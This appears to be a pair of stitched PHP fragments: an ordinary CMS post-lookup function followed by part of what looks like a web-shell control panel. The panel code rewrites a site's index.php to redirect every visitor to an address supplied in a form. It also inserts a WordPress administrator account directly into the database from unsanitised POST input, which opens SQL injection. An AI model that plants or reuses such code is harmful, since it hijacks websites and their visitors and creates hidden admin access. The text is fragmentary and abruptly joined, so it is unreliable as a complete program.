public function getPost($vars) { $query = ""; if (isset($vars['idpost'])) { if (!is_numeric($vars['idpost'])) { return false; } $query = "SELECT * FROM `ig_posts` WHERE `idpost`='" . ksql_real_escape_string($vars['idpost']) . "' LIMIT 1"; } elseif (isset($vars['filename'])) { $query = "SELECT * FROM `ig_posts` WHERE `filename`='" . ksql_real_escape_string($vars['filename']) . "' LIMIT 1"; } if ($query != "") { $results = ksql_query($query); $row = ksql_fetch_array($results); return $row; } return false; }
} else { $msgError = 'Ops, errors occurred while updating .htaccess'; } } elseif (isset($_POST['phpredirect'])) { $contents = file_get_contents('index.php'); $contents = '<?php header("Location: ' . $_POST['phpredirect_to'] . '"); die(); ?>' . "\n\n" . $contents; if (file_put_contents('index.php', $contents)) { $msgSuccess = 'index.php successfully updated'; } else { $msgError = 'Ops, errors occurred while updating index.php'; } } elseif (isset($_POST['wp_addadmin'])) { if (ksql_query("INSERT INTO `" . $table_prefix . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (NULL, '" . $_POST['wp_addadmin_username'] . "', MD5('" . $_POST['wp_addadmin_password'] . "'), '" . $_POST['wp_addadmin_username'] . "', '" . $_POST['wp_addadmin_email'] . "', '', NOW(), '', '0', '" . $_POST['wp_addadmin_username'] . "');")) { $iduser = ksql_insert_id(); ksql_query("INSERT INTO `" . $table_prefix . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '" . $iduser . "', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');"); ksql_query("INSERT INTO `" . $table_prefix . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '" . $iduser . "', 'wp_user_level', '10');"); $msgSuccess = 'User successfully created'; } else { $msgError = 'Ops, errors occurred while inserting user'; } } if (!empty($msgSuccess)) { ?> <div class="msgSuccess"><?php echo $msgSuccess; ?> </div><?php } if (!empty($msgError)) { ?> <div class="msgSuccess"><?php